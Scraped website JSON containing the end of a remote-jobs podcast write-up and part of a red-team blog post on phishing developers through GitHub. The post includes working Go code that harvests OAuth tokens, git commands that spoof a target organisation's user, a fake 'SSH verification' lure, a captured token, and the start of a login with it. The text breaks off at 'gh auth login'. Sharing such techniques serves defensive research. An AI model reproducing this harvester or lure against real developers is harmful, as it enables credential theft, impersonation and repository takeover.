AngelList)",[5312],{"start":17,"end":555,"type":744,"data":5313},{"link_type":453,"url":5314},"https:\u002F\u002Fangel.co\u002F",{"type":1101,"text":5316,"spans":5317},"Remotive",[5318],{"start":17,"end":4811,"type":744,"data":5319},{"link_type":453,"url":5320},"https:\u002F\u002Fremotive.com\u002F",{"type":1101,"text":5322,"spans":5323},"Otta",[5324],{"start":17,"end":667,"type":744,"data":5325},{"link_type":453,"url":5326},"https:\u002F\u002Fotta.com\u002F",{"type":396,"text":5328,"spans":5329},"You can also check Slack channels related to the languages you're interested in. For example, if you're interested in Go opportunities you can check the Gophers Slack.",[5330],{"start":2326,"end":2537,"type":744,"data":5331},{"link_type":453,"url":5332},"https:\u002F\u002Fgophers.slack.com\u002Fmessages\u002Fgeneral\u002F","rich_text$51831f66-ceee-4645-91fa-7deca0af01bf",{"variation":459,"version":460,"items":5335,"primary":5336,"id":5356,"slice_type":479,"slice_label":13},[],{"body":5337},[5338,5341,5344,5347,5350,5353],{"type":465,"text":5339,"spans":5340},"Are there any red flags we should watch out for?",[],{"type":396,"text":5342,"spans":5343},"Once you find an opportunity that you're interested in, Alexandra shares some red flags or concerns you should watch out for. Make sure that you ask the talent recruiter or hiring manager questions about:",[],{"type":1101,"text":5345,"spans":5346},"Their remote working policy, ensuring that the working arrangement is a good fit for you.",[],{"type":1101,"text":5348,"spans":5349},"Where most of the colleagues are based and how the company keeps colleagues engaged in the remote world.",[],{"type":1101,"text":5351,"spans":5352},"How do teams collaborate and what the working hours are.",[],{"type":396,"text":5354,"spans":5355},"The red flags would be in the answers to those questions, which could be vague or unsatisfactory. It's important to ask these questions early on to ensure that you don't waste your time on an opportunity that isn't a good fit. Alexandra underlines that in the remote world, the company culture and working practices are extremely important, so ensure that you receive satisfactory answers for your questions.",[],"rich_text$c5be76a8-6e24-436f-8eb0-bfa8fc6bce87",{"variation":459,"version":460,"items":5358,"primary":5359,"id":5391,"slice_type":479,"slice_label":13},[],{"body":5360},[5361,5364,5367,5370,5373,5384],{"type":465,"text":5362,"spans":5363},"How much salary should we ask for?",[],{"type":396,"text":5365,"spans":5366},"In the remote world, salary banding becomes tricky. Alexandra shares that there is no set rule in a how a company sets salaries for remote roles. Typically, they set salaries in two ways:",[],{"type":1101,"text":5368,"spans":5369},"By employee location, meaning where you are based.",[],{"type":1101,"text":5371,"spans":5372},"By company location, meaning where the company is based.",[],{"type":396,"text":5374,"spans":5375},"In either case, Alexandra recommends to research before salary negotiation. You can use Glassdoor or PayScale to get a good idea what your salary should be for the location and job you are applying for. You should be confident in what you're worth and don't be afraid to ask for the salary that you think you should receive. Once you know what your salary expectations are, you should communicate them clearly and early in the process. This will help you avoid disappointment and wasted efforts during the interview process.",[5376,5379],{"start":519,"end":1512,"type":744,"data":5377},{"link_type":453,"url":5378},"https:\u002F\u002Fwww.glassdoor.co.uk\u002Findex.htm",{"start":5380,"end":5381,"type":744,"data":5382},101,109,{"link_type":453,"url":5383},"https:\u002F\u002Fwww.payscale.com\u002Ffor-individuals\u002F",{"type":396,"text":5385,"spans":5386},"Remember to consider all aspects of your benefits package, not just your salary amount. Companies stay competitive by adjust benefits, as well as pay. Alexandra shares the LinkedIn Global Talent trends survey which concluded that remote working was the number one benefit that candidates look for from their employer, trumping basic salary.",[5387],{"start":5388,"end":2521,"type":744,"data":5389},172,{"link_type":453,"url":5390},"https:\u002F\u002Fbusiness.linkedin.com\u002Ftalent-solutions\u002Fglobal-talent-trends","rich_text$10aae530-864e-4960-ab8e-e5be22d30c21",{"variation":459,"version":460,"items":5393,"primary":5394,"id":5429,"slice_type":479,"slice_label":13},[],{"body":5395},[5396,5399,5402,5406,5410,5414,5418,5422,5426],{"type":465,"text":5397,"spans":5398},"What can engineers do to stand out during the interview process?",[],{"type":396,"text":5400,"spans":5401},"Alexandra has vast experience with this and can share some top tips:",[],{"type":1101,"text":5403,"spans":5404},"Include the most important keywords: sprinkle methodologies and technologies that you have experience using, which will make it easy to match your profile against the job specification.",[5405],{"start":17,"end":1372,"type":477},{"type":1101,"text":5407,"spans":5408},"Make it easy to read: make sure that your CV is well structured and that the most important information is available on the first page. Keep your text short and concise, covering the most important points only.",[5409],{"start":17,"end":3298,"type":477},{"type":1101,"text":5411,"spans":5412},"Highlight your accomplishments: focus on sharing the impact you've made in your previous roles. CVs are no time to be modest, so make sure that you shout about your biggest wins and achievements.",[5413],{"start":17,"end":555,"type":477},{"type":1101,"text":5415,"spans":5416},"Tailor it to the job: make sure that your CV highlights relevant keywords according to what the the job spec looks for. This will allow you to mention the relevant keywords and highlight as many experiences that are relevant to the job as possible.",[5417],{"start":17,"end":3298,"type":477},{"type":1101,"text":5419,"spans":5420},"Create a strong LinkedIn profile: recruiters will look you up on LinkedIn, even if you don't mention it on your CV. Keep it updated, just like your CV",[5421],{"start":17,"end":515,"type":477},{"type":1101,"text":5423,"spans":5424},"Mention where you're based: add your location and contact details to your CV, even if you're applying for a remote role.",[5425],{"start":17,"end":596,"type":477},{"type":396,"text":5427,"spans":5428},"In the case that you want to transition to a role that doesn't match your previous experience, make sure that you connect the dots for the recruiters by highlighting your transferable skills. For example, if you are looking to transition from a Java role to a Go role you could highlight your experience working with microservice architectures. Tools and technologies can be taught and learned, so make your transferable skills obvious to the recruitment team.",[],"rich_text$c1b40669-f873-4b65-97b2-1c0964362627",{"variation":459,"version":460,"items":5431,"primary":5432,"id":5452,"slice_type":479,"slice_label":13},[],{"body":5433},[5434,5437,5440,5443,5446],{"type":465,"text":5435,"spans":5436},"How can we prepare for a remote interview?",[],{"type":396,"text":5438,"spans":5439},"Alexandra shares that the preparation for a remote interview is no different from the onsite interview. You only have one chance to make a great first impression. You should definitely prepare and think through how you will present yourself and your experience.",[],{"type":396,"text":5441,"spans":5442},"In practical terms, you should also consider the logistics. Make sure you are in a quiet place, with reliable WiFi and that your equipment is working. You can also double check the video link and ensure that you can dial into the interview. Finally, during the interview, make sure you highlight your remote working experience and how you keep engaged.",[],{"type":396,"text":5444,"spans":5445},"As with everything we do, practice will help, especially if you are a nervous interviewee. You can practice with a friend, record and watch it back to see how you're coming across. However, you should always be yourself in interviews.",[],{"type":396,"text":5447,"spans":5448},"If you're serious about interviewing and have many scheduled calls, you can create yourself a Calendly account to keep track of your scheduling and ensure you are pacing yourself. You can also create a spreadsheet for tracking your applications.",[5449],{"start":4349,"end":1513,"type":744,"data":5450},{"link_type":453,"url":5451},"https:\u002F\u002Fcalendly.com\u002F","rich_text$b18fe2ff-1ad7-4257-8cf3-060f1357ee38",{"variation":459,"version":460,"items":5454,"primary":5455,"id":5481,"slice_type":479,"slice_label":13},[],{"body":5456},[5457,5460,5463,5466,5470,5474,5478],{"type":465,"text":5458,"spans":5459},"What is Form3's approach to the interview process?",[],{"type":396,"text":5461,"spans":5462},"Finally, Alexandra shares what Form3's recruitment approach is. The interview process is designed to be fair, transparent and accesible. The goal is to allow engineers from any background to apply for a role. Each stage is aimed to replicate the day to day problems that our engineers solve, so the interview does not include algorithmic style questions.",[],{"type":396,"text":5464,"spans":5465},"The Form3 interview process consists of three stages:",[],{"type":582,"text":5467,"spans":5468},"A call with the Talent team: this step is an important part of the process that aims to evaluate a candidate's technical skills, cultural fit and communication style. It gives us an indication of a candidate's strengths, weaknesses and enthusiasm for the role. It also gives the candidate the opportunity to ask questions and learn more about Form3.",[5469],{"start":17,"end":2744,"type":477},{"type":582,"text":5471,"spans":5472},"Technical exercise: this step is a simplified version of what engineers at Form3 work on. The solution provided by the candidate is evaluated by the engineering team for readability, reliability and maintainability. There are no time constraints for the exercise, giving the candidates the space to deliver something they are proud of.",[5473],{"start":17,"end":905,"type":477},{"type":582,"text":5475,"spans":5476},"Technical interview: this is a 90-minute long interview divided into three parts run by members of the engineering and security team. The substages are: code review of the technical exercise, technical knowledge assessment and a debugging exercise.",[5477],{"start":17,"end":2369,"type":477},{"type":396,"text":5479,"spans":5480},"The interview process does not include a live coding task in order make it easier for people to fit the interview process in their busy lives.",[],"rich_text$e76bf54e-4de4-4c41-87fe-f95ac4207485",".tech Podcast - Landing your next remote job",{"id":5484,"uid":5485,"url":5486,"type":406,"href":5487,"tags":5488,"first_publication_date":4891,"last_publication_date":4892,"slugs":5489,"linked_documents":5491,"lang":386,"alternate_languages":5492,"data":5493},"alz02hEAACcAUWat","phishing-github","\u002Fresources\u002Fengineering-blog\u002Fphishing-github","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz02hEAACcAUWat%22%29+%5D%5D",[],[5490],"github-apps",[],[],{"title":5494,"excerpt":5495,"card_image":5496,"published_date":5501,"reading_time":672,"tag":427,"dek":5495,"featured_image":5502,"about_form3":5509,"client_about_heading":13,"client_about_body":5510,"author_name":13,"author_title":13,"author_photo":5511,"author_bio":5512,"author_linkedin":5513,"slices":5514,"meta_title":5494,"meta_description":5495},"Phishing with GitHub","For a Red Team operator it can be disappointing to retire a particular technique, but it can also be an opportunity to share their knowledge with the community. Phishing operations can require a lot of time and effort to set up the infrastructure, acquiring and categorising domains, fine tuning payloads, preparing pretexts and bypassing those pesky filters and controls, but there are ways to make the process simpler. This post will explore one such method, using GitHub as a tool to distribute, host, and compromise a target in a bait, hook, and catch operation that can be done from a mobile device. This post will cover: GitHub Apps, Hosting, Distribution and SSH Access.",{"dimensions":5497,"alt":5494,"copyright":13,"url":5498,"id":5499,"edit":5500},{"width":420,"height":420},"\u002F_prismic-media\u002F5b67acd714ef4087-n7vzFRTPfxsLJ32t_phishing-github.svg","n7vzFRTPfxsLJ32t",{"x":17,"y":17,"zoom":18,"background":424},"2023-02-01",{"dimensions":5503,"alt":13,"copyright":13,"url":5506,"id":5507,"edit":5508},{"width":5504,"height":5505},2536,2936,"\u002F_prismic-media\u002F357f1ecf54d7d933-kFgBy4kqjojl0_VT_945ad2dc-5130-47d5-8317-8689dd3.png","kFgBy4kqjojl0_VT",{"x":17,"y":17,"zoom":18,"background":19},[],[],{},[],{"link_type":487},[5515,5561,5576,5594,5602,5617,5625,5634,5642,5665,5684,5698,5706,5714,5722,5730,5738,5746,5765,5776,5795,5803,5822,5830,5847,5858,5866,5886,5894,5902,5910,5919,5927,5940,5948,5956,5964,5972,5980,5988,5996,6004,6012,6020,6028],{"variation":459,"version":460,"items":5516,"primary":5517,"id":5560,"slice_type":479,"slice_label":13},[],{"body":5518},[5519,5522,5525,5530,5533,5537,5540,5548,5552,5556],{"type":465,"text":5520,"spans":5521},"GitHub Apps",[],{"type":396,"text":5523,"spans":5524},"GitHub Apps provide a powerful way for developers to streamline and optimize their workflows. These apps function independently and can take actions through the API using their own identity, eliminating the need for maintaining a separate service account or bot user.",[],{"type":396,"text":5526,"spans":5527},"To create the GitHub App go to the GitHub Developer Settings page by clicking on your profile picture in the top right corner of GitHub, selecting Settings, and then selecting Developer Settings.",[5528],{"start":5529,"end":4877,"type":780},176,{"type":396,"text":5531,"spans":5532},"Select GitHub Apps from the menu on the left side of the page.",[],{"type":396,"text":5534,"spans":5535},"Click the New GitHub App button.",[5536],{"start":426,"end":1381,"type":780},{"type":396,"text":5538,"spans":5539},"Fill in the required information for your app, including its name, description, and the URL of your app's homepage.",[],{"type":396,"text":5541,"spans":5542},"Set up the permissions for your app by selecting the Account permissions options under Permissions and set the Git SSH keys access level to Read and Write.",[5543,5544,5545,5546],{"start":3378,"end":1729,"type":780},{"start":3671,"end":4146,"type":780},{"start":2475,"end":4365,"type":780},{"start":5547,"end":605,"type":780},140,{"type":396,"text":5549,"spans":5550},"Add a callback URL by clicking on the Add Callback URL button and providing the URL to redirect to after a user authorises an installation.",[5551],{"start":844,"end":2041,"type":780},{"type":396,"text":5553,"spans":5554},"In post installation set the Setup URL where users will be redirected to this URL after installing your GitHub App to complete additional setup.",[5555],{"start":586,"end":844,"type":780},{"type":396,"text":5557,"spans":5558},"Finally click on Create GitHub App to create the GitHub App.",[5559],{"start":967,"end":1363,"type":780},"rich_text$e942c891-b846-4b1e-aa69-dda50db36837",{"variation":459,"version":481,"items":5562,"primary":5563,"id":5575,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":5564,"body":5565,"cta_label":13,"cta_link":5566,"aside_type":488,"aside_image":5567,"aside_video":5570,"aside_video_poster":5571,"aside_video_reduced_motion":5572,"aside_video_url":13,"aside_embed":5573,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":5574,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":5568,"alt":13,"copyright":13,"url":5506,"id":5507,"edit":5569},{"width":5504,"height":5505},{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$a49608e9-208b-4e05-af35-eaa9026489c0",{"variation":459,"version":460,"items":5577,"primary":5578,"id":5593,"slice_type":479,"slice_label":13},[],{"body":5579},[5580,5583,5589],{"type":396,"text":5581,"spans":5582},"For the application, we will use a simple Go app that uses the OAuth2 protocol and the GitHub API to authenticate a user and retrieve their GitHub username and access token.",[],{"type":396,"text":5584,"spans":5585},"It defines two HTTP handlers, login and callback, the login handler redirects the user to the GitHub OAuth2 authorization URL, passing in a state and access type.",[5586,5587,5588],{"start":555,"end":1372,"type":780},{"start":2040,"end":516,"type":780},{"start":2041,"end":2019,"type":780},{"type":396,"text":5590,"spans":5591},"The callback handler, which is called when the user is redirected back from GitHub, takes the authorisation code from the request, exchanges it for an access token, then creates a new GitHub API client using this token. It then retrieves the authenticated user's details from the API and logs their username and token to the console. Finally, it redirects the user to Github to avoid suspicions.",[5592],{"start":667,"end":1333,"type":780},"rich_text$926d3c95-00c0-4960-8341-16f2594de642",{"variation":459,"version":460,"items":5595,"primary":5596,"id":5601,"slice_type":567,"slice_label":13},[],{"language_label":2455,"code":5597},[5598],{"type":563,"text":5599,"spans":5600},"package main\n\nimport (\n\t\"context\"\n\t\"log\"\n\t\"net\u002Fhttp\"\n\t\"os\"\n\n\t\"github.com\u002Fgoogle\u002Fgo-github\u002Fgithub\"\n\t\"golang.org\u002Fx\u002Foauth2\"\n\tgithubOAuth2 \"golang.org\u002Fx\u002Foauth2\u002Fgithub\"\n)\n\nvar (\n\toauth2Config = &oauth2.Config{\n\t\tClientID:     os.Getenv(\"GITHUB_CLIENT_ID\"),\n\t\tClientSecret: os.Getenv(\"GITHUB_CLIENT_SECRET\"),\n\t\tEndpoint:     githubOAuth2.Endpoint,\n\t}\n\tcsrfToken = \"NotSoRandomString\"\n\tredirectURL = \"https:\u002F\u002Fgithub.com\"\n)\n\nfunc login(w http.ResponseWriter, req *http.Request) {\n\turl := oauth2Config.AuthCodeURL(csrfToken, oauth2.AccessTypeOnline)\n\thttp.Redirect(w, req, url, http.StatusTemporaryRedirect)\n}\n\nfunc callback(w http.ResponseWriter, req *http.Request) {\n\tctx := context.Background()\n\tcode := req.FormValue(\"code\")\n\ttoken, _ := oauth2Config.Exchange(ctx, code)\n\toauthClient := oauth2Config.Client(ctx, token)\n\tclient := github.NewClient(oauthClient)\n\tuser, _, _ := client.Users.Get(ctx, \"\")\n\n\tlog.Printf(\"Username: %s\", *user.Login)\n\tlog.Printf(\"Token:    %s\", token.AccessToken)\n\n\thttp.Redirect(w, req, redirectURL, http.StatusTemporaryRedirect)\n}\n\nfunc main() {\n\tconst address = \"0.0.0.0:9000\"\n\n\thttp.HandleFunc(\"\u002F\", login)\n\thttp.HandleFunc(\"\u002Fcallback\", callback)\n\n\tlog.Printf(\"Starting Server listening on http:\u002F\u002F%s\", address)\n\thttp.ListenAndServe(address, nil)\n}",[],"code_block$1561f272-30b5-43e1-a465-636b10629fb4",{"variation":459,"version":460,"items":5603,"primary":5604,"id":5616,"slice_type":479,"slice_label":13},[],{"body":5605},[5606,5610],{"type":396,"text":5607,"spans":5608},"Note: This application has been made simpler for demonstration purposes and does not include any error checking, making it unsuitable for use in a production environment.",[5609],{"start":17,"end":672,"type":477},{"type":396,"text":5611,"spans":5612},"In order to run the application, setup the OAuth2 configuration using environment variables GITHUB_CLIENT_ID and GITHUB_CLIENT_SECRET as the client ID and client secret respectively.",[5613,5614],{"start":1508,"end":5149,"type":780},{"start":5615,"end":2441,"type":780},113,"rich_text$2f916706-80e0-4c9c-b880-b6a16be0bd52",{"variation":459,"version":460,"items":5618,"primary":5619,"id":5624,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":5620},[5621],{"type":563,"text":5622,"spans":5623},"$ export GITHUB_CLIENT_ID=Iv1.01234567890abcde\n$ export GITHUB_CLIENT_SECRET=0123456789abcdefghijklmnopqrstuvwxyz0123",[],"code_block$96d16c3d-48e1-4f3c-97e9-a188e265fa1e",{"variation":459,"version":460,"items":5626,"primary":5627,"id":5633,"slice_type":479,"slice_label":13},[],{"body":5628},[5629],{"type":396,"text":5630,"spans":5631},"To both build and run the code, we can utilise the command go run.",[5632],{"start":2019,"end":1557,"type":780},"rich_text$cac96397-82f4-413f-a1dc-03b85d2f72bb",{"variation":459,"version":460,"items":5635,"primary":5636,"id":5641,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":5637},[5638],{"type":563,"text":5639,"spans":5640},"$ go run main.go \n2023\u002F01\u002F25 17:00:54 Starting Server listening on http:\u002F\u002F0.0.0.0:9000",[],"code_block$2c366af6-551d-4cfb-b313-93085381c12c",{"variation":459,"version":460,"items":5643,"primary":5644,"id":5664,"slice_type":479,"slice_label":13},[],{"body":5645},[5646,5649,5655,5661],{"type":465,"text":5647,"spans":5648},"Hosting",[],{"type":396,"text":5650,"spans":5651},"GitHub Codespaces allows developers to easily create and manage development environments within their web browsers. It provides an integrated development environment (IDE) that includes a code editor, terminal, and debugging tools, all of which can be used to write, test, and debug code. It also allows developers to collaborate in real-time with other team members, making it a useful tool for remote teams.",[5652],{"start":17,"end":967,"type":744,"data":5653},{"link_type":453,"url":5654},"https:\u002F\u002Fgithub.com\u002Ffeatures\u002Fcodespaces",{"type":396,"text":5656,"spans":5657},"Inspired by Nitesh Surana and Magno Logan Abusing a GitHub Codespaces Feature For Malware Delivery post we will use GitHub Codespaces to build, run and host our phishing campaign by sharing forwarded ports publicly.",[5658],{"start":773,"end":4146,"type":744,"data":5659},{"link_type":453,"url":5660},"https:\u002F\u002Fwww.trendmicro.com\u002Fpl_pl\u002Fresearch\u002F23\u002Fa\u002Fabusing-github-codespaces-for-malware-delivery.html",{"type":396,"text":5662,"spans":5663},"To accomplish this, simply run the Go application in a Codespace and set the forwarded port visibility to public.",[],"rich_text$b0aa232a-0ded-4aae-afdd-50e53931732d",{"variation":459,"version":481,"items":5666,"primary":5667,"id":5683,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":5668,"body":5669,"cta_label":13,"cta_link":5670,"aside_type":488,"aside_image":5671,"aside_video":5678,"aside_video_poster":5679,"aside_video_reduced_motion":5680,"aside_video_url":13,"aside_embed":5681,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":5682,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":5672,"alt":13,"copyright":13,"url":5675,"id":5676,"edit":5677},{"width":5673,"height":5674},2532,758,"\u002F_prismic-media\u002Fbd50b1accf36267d-8P0I6oKJ8VNvDqv_e8bded01-2f8e-48fe-9209-83f85db9.png","_8P0I6oKJ8VNvDqv",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$56898091-c255-4ba1-80d5-d6b40970958f",{"variation":459,"version":460,"items":5685,"primary":5686,"id":5697,"slice_type":479,"slice_label":13},[],{"body":5687},[5688,5691,5694],{"type":465,"text":5689,"spans":5690},"Distribution",[],{"type":396,"text":5692,"spans":5693},"There are various methods for delivering payloads, but for this campaign, we will focus on using GitHub Notifications. While this technique may not be novel, it is effective in targeting developers who frequently use GitHub notifications for their daily tasks.",[],{"type":396,"text":5695,"spans":5696},"To execute this step, we will first create a new branch in one of the target's open-source GitHub repositories.",[],"rich_text$f5ed9de8-911f-470a-bb75-1d38565bf3aa",{"variation":459,"version":460,"items":5699,"primary":5700,"id":5705,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":5701},[5702],{"type":563,"text":5703,"spans":5704},"$ git clone https:\u002F\u002Fgithub.com\u002Ftarget\u002Fpublicproject \n$ git checkout -b security",[],"code_block$552b08b1-58f3-4b6b-b846-acd88832dc5c",{"variation":459,"version":460,"items":5707,"primary":5708,"id":5713,"slice_type":479,"slice_label":13},[],{"body":5709},[5710],{"type":396,"text":5711,"spans":5712},"Then, we will impersonate a user from the target organisation.",[],"rich_text$6771d34f-efba-4204-ba15-6c2b5719d073",{"variation":459,"version":460,"items":5715,"primary":5716,"id":5721,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":5717},[5718],{"type":563,"text":5719,"spans":5720},"$ git config user.name \"spoofed-user\"\n$ git config user.email \"spoofed-user@target.com\"",[],"code_block$be991d7a-de95-44e5-a0c2-450019d844da",{"variation":459,"version":460,"items":5723,"primary":5724,"id":5729,"slice_type":479,"slice_label":13},[],{"body":5725},[5726],{"type":396,"text":5727,"spans":5728},"And use the commit message to send a link to our malicious GitHub App by mentioning the target user.",[],"rich_text$4fc41ca5-7ef1-4e0c-bbb4-123de95e070e",{"variation":459,"version":460,"items":5731,"primary":5732,"id":5737,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":5733},[5734],{"type":563,"text":5735,"spans":5736},"$ git commit -a -m \"Mandatory SSH Verification\" -m \"@target-user Please verify your SSH configuration using https:\u002F\u002Fgithub.com\u002Fapps\u002Fverify-ssh.\"\n$ git push --set-upstream origin security",[],"code_block$7cc9e2a9-7f6c-40dd-90fc-9b7b419bf7f0",{"variation":459,"version":460,"items":5739,"primary":5740,"id":5745,"slice_type":479,"slice_label":13},[],{"body":5741},[5742],{"type":396,"text":5743,"spans":5744},"The target user will receive the GitHub notification via email, on GitHub.com notifications inbox and\u002For via the GitHub Mobile client.",[],"rich_text$f36baec5-e966-42a0-be62-06d995fe93b4",{"variation":459,"version":481,"items":5747,"primary":5748,"id":5764,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":5749,"body":5750,"cta_label":13,"cta_link":5751,"aside_type":488,"aside_image":5752,"aside_video":5759,"aside_video_poster":5760,"aside_video_reduced_motion":5761,"aside_video_url":13,"aside_embed":5762,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":5763,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":5753,"alt":13,"copyright":13,"url":5756,"id":5757,"edit":5758},{"width":5754,"height":5755},2472,1136,"\u002F_prismic-media\u002F7a1b3bb5e9083ab7-izZcqFqu5IHXafFR_b8e75d25-11ac-4f33-94dc-36993dd.png","izZcqFqu5IHXafFR",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$d8067987-5159-4344-b102-1c1c368fcdbe",{"variation":459,"version":460,"items":5766,"primary":5767,"id":5775,"slice_type":479,"slice_label":13},[],{"body":5768},[5769],{"type":396,"text":5770,"spans":5771},"The GitHub App is available at https:\u002F\u002Fgithub.com\u002Fapps\u002Fverify-ssh which helps to validation the pretext of the email, \"If it's in GitHub it most be legitimate!\".",[5772],{"start":2585,"end":1557,"type":744,"data":5773},{"link_type":453,"url":5774},"https:\u002F\u002Fgithub.com\u002Fapps\u002Fverify-ssh","rich_text$f5136335-84d0-447b-b51e-084d4d6982f2",{"variation":459,"version":481,"items":5777,"primary":5778,"id":5794,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":5779,"body":5780,"cta_label":13,"cta_link":5781,"aside_type":488,"aside_image":5782,"aside_video":5789,"aside_video_poster":5790,"aside_video_reduced_motion":5791,"aside_video_url":13,"aside_embed":5792,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":5793,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":5783,"alt":13,"copyright":13,"url":5786,"id":5787,"edit":5788},{"width":5784,"height":5785},2374,1542,"\u002F_prismic-media\u002F2e093b3c35858ea9-U5oeRoyZSPSJhY0h_abdd04e0-0c0d-4b7b-bf87-f1b3aed.png","U5oeRoyZSPSJhY0h",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$c23f884b-f20b-4602-80df-9a9886c729c2",{"variation":459,"version":460,"items":5796,"primary":5797,"id":5802,"slice_type":479,"slice_label":13},[],{"body":5798},[5799],{"type":396,"text":5800,"spans":5801},"Clicking the Install button takes the user to the installation page.",[],"rich_text$d315d0a9-e15a-453a-a46d-a10c477d66e4",{"variation":459,"version":481,"items":5804,"primary":5805,"id":5821,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":5806,"body":5807,"cta_label":13,"cta_link":5808,"aside_type":488,"aside_image":5809,"aside_video":5816,"aside_video_poster":5817,"aside_video_reduced_motion":5818,"aside_video_url":13,"aside_embed":5819,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":5820,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":5810,"alt":13,"copyright":13,"url":5813,"id":5814,"edit":5815},{"width":5811,"height":5812},2262,2340,"\u002F_prismic-media\u002F0e0b2d8b60ffa3ce-PSaBZFNQ0zSf4Nwz_e1f38263-75df-418b-8f04-504a9fe.png","PSaBZFNQ0zSf4Nwz",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$f4437740-6920-483c-878a-4aef646fc296",{"variation":459,"version":460,"items":5823,"primary":5824,"id":5829,"slice_type":479,"slice_label":13},[],{"body":5825},[5826],{"type":396,"text":5827,"spans":5828},"Followed by the authorise page where the user authorises the permissions required for the GitHub App.",[],"rich_text$3ba2bd7c-5851-4bae-a6fb-fa8fe4f043fe",{"variation":459,"version":481,"items":5831,"primary":5832,"id":5846,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":5833,"body":5834,"cta_label":13,"cta_link":5835,"aside_type":488,"aside_image":5836,"aside_video":5841,"aside_video_poster":5842,"aside_video_reduced_motion":5843,"aside_video_url":13,"aside_embed":5844,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":5845,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":5837,"alt":13,"copyright":13,"url":5838,"id":5839,"edit":5840},{"width":5811,"height":5812},"\u002F_prismic-media\u002F6cdb2dcd3b38fda9-MN4uoEWoSpirg0oH_e81e9458-7634-4c33-91b3-5f10298.png","MN4uoEWoSpirg0oH",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$4cb397f4-9c08-4bfa-8b5f-f6e1aee267a7",{"variation":459,"version":460,"items":5848,"primary":5849,"id":5857,"slice_type":479,"slice_label":13},[],{"body":5850},[5851,5854],{"type":396,"text":5852,"spans":5853},"You might argue that a simpler approach would be to just send the link to the authorisation page, but since it is served through a Codespace forwarded port, it may appear suspicious. Using the GitHub App URL, while requiring more user interaction, appears more trustworthy and credible.",[],{"type":396,"text":5855,"spans":5856},"Back in the Codespace session the username and token are logged to the terminal.",[],"rich_text$af085d9f-7849-4a67-861e-373bf80ca3a8",{"variation":459,"version":460,"items":5859,"primary":5860,"id":5865,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":5861},[5862],{"type":563,"text":5863,"spans":5864},"2023\u002F01\u002F25 17:01:38 Username: target-user\n2023\u002F01\u002F25 17:01:38 Token:    ghu_h9YFdUN9vbK6KttWVn2ZrFU0qrn0eA4O5AHS",[],"code_block$e6c55080-80c7-4577-bd90-2bed272ef51d",{"variation":459,"version":460,"items":5867,"primary":5868,"id":5885,"slice_type":479,"slice_label":13},[],{"body":5869},[5870,5873,5876,5881],{"type":465,"text":5871,"spans":5872},"SSH Access",[],{"type":396,"text":5874,"spans":5875},"To gain access to the target user private repos we first need to authenticate with GitHub using the stolen access token.",[],{"type":396,"text":5877,"spans":5878},"For that we will use the GitHub CLI command gh auth login with the --with-token flag.",[5879,5880],{"start":2015,"end":2638,"type":780},{"start":2630,"end":3006,"type":780},{"type":396,"text":5882,"spans":5883},"In Codespaces, before using the GitHub CLI, we first need to remove the GITHUB_TOKEN environment variable.",[5884],{"start":1729,"end":640,"type":780},"rich_text$fe3c46f5-d6a5-44b4-9c12-e75c51107681",{"variation":459,"version":460,"items":5887,"primary":5888,"id":5893,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":5889},[5890],{"type":563,"text":5891,"spans":5892},"$ unset GITHUB_TOKEN",[],"code_block$12cd1ff9-48fc-4e2e-b2c3-9a9895fdcc26",{"variation":459,"version":460,"items":5895,"primary":5896,"id":5901,"slice_type":479,"slice_label":13},[],{"body":5897},[5898],{"type":396,"text":5899,"spans":5900},"Authenticate with GitHub using the stolen access token.",[],"rich_text$c15ad73b-d785-47e3-8083-4148e6daf850",{"variation":459,"version":460,"items":5903,"primary":5904,"id":5909,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":5905},[5906],{"type":563,"text":5907,"spans":5908},"$ gh auth login 